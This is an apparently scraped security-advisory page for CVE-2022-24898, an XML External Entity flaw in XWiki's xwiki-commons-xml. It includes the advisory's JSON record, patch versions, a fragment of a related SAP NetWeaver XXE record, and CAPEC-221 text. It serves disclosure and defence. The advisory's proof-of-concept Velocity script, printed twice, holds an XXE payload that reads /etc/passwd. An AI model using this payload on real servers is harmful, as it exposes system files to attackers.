  "published": "2022-05-13T01:10:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3974"
    },
    {
      "type": "WEB",
      "url": "https://erpscan.io/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe"
    },
    {
      "type": "WEB",
      "url": "https://erpscan.io/press-center/blog/sap-security-notes-march-2016-review"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/39995"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/137527/SAP-NetWeaver-AS-JAVA-7.5-XXE-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2016/Jun/41"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M2R5-4W96-QXG5

Vulnerability from github – Published: 2022-04-28 19:31 – Updated: 2022-04-28 19:31
VLAI
Summary
Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml
Details

Impact

It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.

For example:

{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}

Patches

The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.

Workarounds

There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.

References

https://jira.xwiki.org/browse/XWIKI-18946

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki * Email us at XWiki Security mailing-list

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.commons:xwiki-commons-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7"
            },
            {
              "fixed": "12.10.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.commons:xwiki-commons-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.commons:xwiki-commons-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.5-rc-1"
            },
            {
              "fixed": "13.8-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-28T19:31:55Z",
    "nvd_published_at": "2022-04-28T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIt\u0027s possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.\n\nFor example:\n\n```\n{{velocity}}\n#set($xml=$services.get(\u0027xml\u0027))\n#set($xxe_payload = \"\u003c?xml version=\u00271.0\u0027 encoding=\u0027UTF-8\u0027?\u003e\u003c!DOCTYPE root[\u003c!ENTITY xxe SYSTEM \u0027file:///etc/passwd\u0027 \u003e]\u003e\u003croot\u003e\u003cfoo\u003e\u0026xxe;\u003c/foo\u003e\u003c/root\u003e\")\n#set($doc=$xml.parse($xxe_payload))\n$xml.serialize($doc)\n{{/velocity}}\n```\n\n### Patches\n\nThe problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.\n\n### Workarounds\n\nThere\u0027s no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-18946\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [XWiki Security mailing-list](mailto:security@xwiki.org)",
  "id": "GHSA-m2r5-4w96-qxg5",
  "modified": "2022-04-28T19:31:55Z",
  "published": "2022-04-28T19:31:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-m2r5-4w96-qxg5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-commons/commit/947e8921ebd95462d5a7928f397dd1b64f77c7d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-commons"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-18946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml"
}
Mitigation
Implementation System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

CAPEC-221: Data Serialization External Entities Blowup

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

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